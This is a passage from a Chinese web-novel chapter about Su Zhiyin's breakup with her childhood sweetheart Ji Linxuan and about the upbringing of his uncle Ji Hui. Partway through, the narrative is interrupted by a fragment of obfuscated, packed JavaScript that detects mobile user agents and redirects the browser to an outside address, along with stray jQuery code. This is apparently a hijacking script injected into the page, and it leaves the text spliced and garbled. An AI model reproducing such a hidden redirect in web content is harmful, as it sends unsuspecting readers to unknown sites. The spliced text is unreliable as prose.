“当然啦,他明显配不上你!”顾心愉理所当然的语气。
苏知茵楞了一秒,笑道:“我也没你想象那么好啦。”
“主要是我觉得他没那么喜欢你,你想想,你们从小青梅竹马,你高中的时候喜欢他了,那时候要高考,你没说,也就当他没发现吧。”
顾心愉喝了口水,继续说:“那到了大学呢,你对他够明显的了吧,我觉得他知道你喜欢他,你去他学校找他,送他亲手做的东西,陪他去参加什么马拉松比赛的……
多的事我就不去举例子,他都没主动推进关系,然后你就读研了,他考公务员几次没考上,非要等考上了再跟你表白。”
“那为什么非得等考上编制了才在一起,怎么要设置这种条件呢?那要是他一直考不上呢,就一直吊着你啊。”顾心愉有些忿忿不平,“我不理解他这种。”
苏知茵陷入沉默。
青梅竹马,少时不懂喜欢。
长大了,某天她忽然意识到,心中暗生的情愫像一颗小芽一样慢慢长大,长出藤蔓。
是从哪一天开始,遮住阳光的呢?
苏知茵清晰地感觉到,心中的藤蔓已经枯萎了。
“茵茵,你别难过。”顾心愉拉着苏知茵的手举起来,“分手就分手,下个更长久!”
“别伤心,我们应该庆祝一下,我买了蛋糕,我们一块吃吧。”顾心愉欢呼道。
顾心愉把蛋糕拿出来,尺寸不大,两个人吃正好,“本来你辞职那天,我就想找你庆祝了,可恶那天在加班。”
顾心愉把蜡烛插上,用打火机点燃,“茵茵,许个愿吧。”
“我想想……”苏知茵双手交握,一时之间想不到有什么心愿。
“许愿马上找个宇宙无敌好的男朋友。”顾心愉笑着催促道。
苏知茵不知道为什么,听到宇宙无敌好的时候,她第一时间想到了季洄。
顿时觉得有些冒犯,她摇摇头,把这个念头驱赶出去。
苏知茵虔诚地许下心愿:“希望我成为富婆……”
季洄坐在办公桌前,突然打了一个喷嚏。
王力培走进来,调侃道:“有人骂你了吧?”
“怎么不说有人想我。”季洄将文件夹放到左边。
“你一个孤家寡人,谁想你啊?”王力培想起什么似的,“哦,瞧我这记性,忘了你有个宝贝妹妹……”
季洄一个眼刀飞过去,王力培倒浑不在意,笑着溜出办公室。
季洄手机响了,定睛一看,来电人是季林宣,接起电话,“喂,林宣。”
“小叔,在忙吗?”
“嗯,什么事?”季洄开门见山。
“我爸问你周六回家吗?姑奶奶过八十大寿。”
“不回去,礼金帮我捎带一份。”季洄指尖把玩着一只钢笔。
“喔……好的……”季林宣欲言又止。
季洄对季林宣的犹豫有所察觉,“还有什么事?”
“小叔,茵茵要和我分手……主要是我们俩异地的问题,你帮帮我!”
季洄面无表情地抚了抚额头,“我帮你什么?”
“你帮我劝劝她,她从小就犟,但你说的话她听得进,她从小就信任你,她现在铁了心要在芝州开工作室,你能从创业的角度跟她说说风险吗?她一意孤行,这事都还没跟叔叔阿姨商量……”
季洄神色有些不耐,不等季林宣话说完打断他,“工作选在哪是她的事,我没有立场干预,至于你和她感情的问题,自己解决。”
“小叔,我和她就因为异地的原因分手,我也愿意拿自己的存款支持她的事业,但她不愿回溪城做工作室,怎么说都不听,我也不懂创业,但是显然芝州各项成本都高,失败的风险是不是更大呢?”
“季林宣,任何创业都有可能失败。你如果真的支持她,你现在要做的,是帮助她成功,而不是估算她失败的几率。”季洄呼了一口气,心底没由来地烦闷。
“小叔,她现在根本不接我电话,发微信也不怎么回我,你跟她说说……哎……”
“言尽于此,挂了。”
季洄挂断电话,他抓了抓头发,没想到自己也有耐心告罄的时候。
另一头,季林宣听到滴的挂断声,心中愤愤然。
季洄话里话外都向着苏知茵,也不知道是谁的小叔!
季林宣又记起些陈年旧事,小学,爸妈安排季洄来监督他和苏知茵写作业。
他每次都比苏知茵写得快,答案也正确,早早地把作业交给季洄。
季洄拿着看了几眼,不是说他做题跳步骤,就是挑刺他字迹不清……打回来让他重做。
季林宣只能在心里怒骂他拿着鸡毛当令箭,一脸不服气地拿回作业,把潦草的地方擦掉,老老实实重新写一遍。
等写好再交给季洄的时候,苏知茵已经美美交卷。
季林宣气得头发都支棱起来,大声控诉,“季洄你太偏心了,你到底是不是姓季啊?!”
*
季洄是季鑫和周金兰的老来子,前面还有个哥哥季守杰,两兄弟相差23岁。
周金兰怀季洄的时候,妥妥的高龄孕妇,季鑫好面子,劝她流掉,一大把年纪了被人指点议论老蚌生珠,传来传去多不好听。
但周金兰舍不得这个孩子,当时想着听天由命,生得下来便养着,生不下来,那就是天注定。
那时,季守杰和林彤刚结婚,为此周金兰还和儿媳林彤闹得很不愉快。
林彤是个年轻媳妇,刚结婚婆婆就怀孕,说直白点,得不到什么照料不说,还要照顾婆婆坐月子,林彤心里堵着一口气,硬是等到婚后三年才怀孕生下季林宣。
邻里邻居看季洄是老来子,以为他身体会孱弱一些。
然而季洄从小身体健康,活泼好动,疯玩疯长,调皮得不行,上房揭瓦,下地抓邻居家养的走地鸡。
小季洄在方圆五里的孩子群里很有名,因为他很会玩弹珠,方圆五里无敌手。
在一个画好的方块地里,玩五颜六色的玻璃珠,弹中者赢。
季洄每次出门玩只带一颗,然后可以赢几十颗回来,要不是老妈叫他回家吃饭,估计能赢上百颗,人送外号“弹珠超人”。
小季洄每日在院子里和其他小朋友打打闹闹,家里却很少管教。
父亲季鑫反思大儿子之前管教太严,导致他性格温吞老实,所以对待季洄,他选择放养。
母亲周金兰对季洄则是十分溺爱,时隔二十多年再当母亲,对孩子有更多的温柔和耐心。
季洄小学期间,每天回到家,书包往床上一扔,就出去疯玩,作业不写,书也总是破破烂烂,好在他脑子还够用,成绩不至于吊车尾。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026008|194405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>五年级的时候,季洄因为上课不听,课后不写作业,被班主任叫家长。
班主任一看季洄的父母,两个人都五十多岁,年纪大得可以当爷奶。
班主任一副怜悯理解的样子,语重心长地感叹一声:“怪不得,父母年纪这么大了,很多事情也力不从心,季洄你现在高年级了,学习任务重,自己多努力……”
季洄听了不高兴,很难形容那种心情,不是因为被叫家长这件事羞耻,而是因为班主任可怜他的眼神。
因为爸妈年纪大,被当成没人管教的野孩子,从而得到怜悯,季洄很不喜欢。
他不觉得这可怜,但也不想被叫家长了。
于是,季洄读书勤勉了一些,也按时交作业,成绩一下子好起来,再也没被叫过家长。
在父亲的放养,母亲的宠爱下,季洄度过了无忧无虑的童年。
季洄十二岁那年,周金兰生病,去医院检查是肠癌,医生说还有三四年能活,周金兰没敢告诉季洄。
因为周金兰生病身体虚弱,季洄被送到哥哥嫂嫂家生活。
季洄正值小升初,正好放在儿媳林彤任教的溪城中学上初一。
林彤原本对婆婆周金兰大龄生子有意见,所以生了季林宣之后,就分房搬出去住了。
不过这些年来,公婆二人补贴了不少钱给他们买房子。
周金兰平日里对林彤也是热情惦记,动不动给她送些宰杀好的鸡鸭,酱好的牛肉,林彤慢慢也淡忘了之前的不快。
现在周金兰得了绝症,没几年可活了,林彤心里也实在可怜她,主动提出让婆婆把季洄送过来照顾,正好宣宣也有个伴。
就这样,季洄在大哥季守杰家住下了。
虽说哥嫂对他还不错,但终归是寄人篱下,远不如从前那么自在。
季洄也慢慢收敛了性格,其实一切都还好,只是这个小三岁的侄子季林宣有点烦人。
小季林宣一开始看季洄很不顺眼,感觉他夺走了父母的注意力和关爱。
家里有鸡腿,不是他一个人能吃的了,要分一个给季洄。
季林宣看上一个变形金刚,爸妈不给买,但是他们要拿钱给季洄买新衣服和新鞋子。
季林宣出去玩,爸爸也不给自己一个人照相了,非要他和季洄站在一起,照几张合照。
季林宣觉得季洄真讨厌,有一次对季洄喊道:“你没有自己的爸妈吗?非要来抢我的。”
季守杰听见了,赶紧教训季林宣:“怎么说话呢?没礼貌,现在奶奶在医院,你这孩子懂事点。”
季洄闻言,突然感知到了什么,他隐隐觉得,妈妈的病不会好了,尽管每次去看她,她都说马上好了,马上好了……
有一天下午,季林宣气冲冲地回到家,走路风风火火,弄出很大的响声,生怕别人不知道他在气头上。
林彤问他怎么了。
季林宣鼓着腮帮子说:“我的玻璃球都输了,好看的全被赢走了,气死我了,那个小胖比我大一岁,玩得很厉害,哼。”
“输了就输了,愿赌服输,妈再给你买呗。”林彤安慰道。
“买了还是会被他赢走!”
林彤笑了,“那你别和他玩呗。”
“我就要和他玩,把我之前输的都赢回来。”季林宣一脸愤懑。
“你这孩子……”林彤有些无语。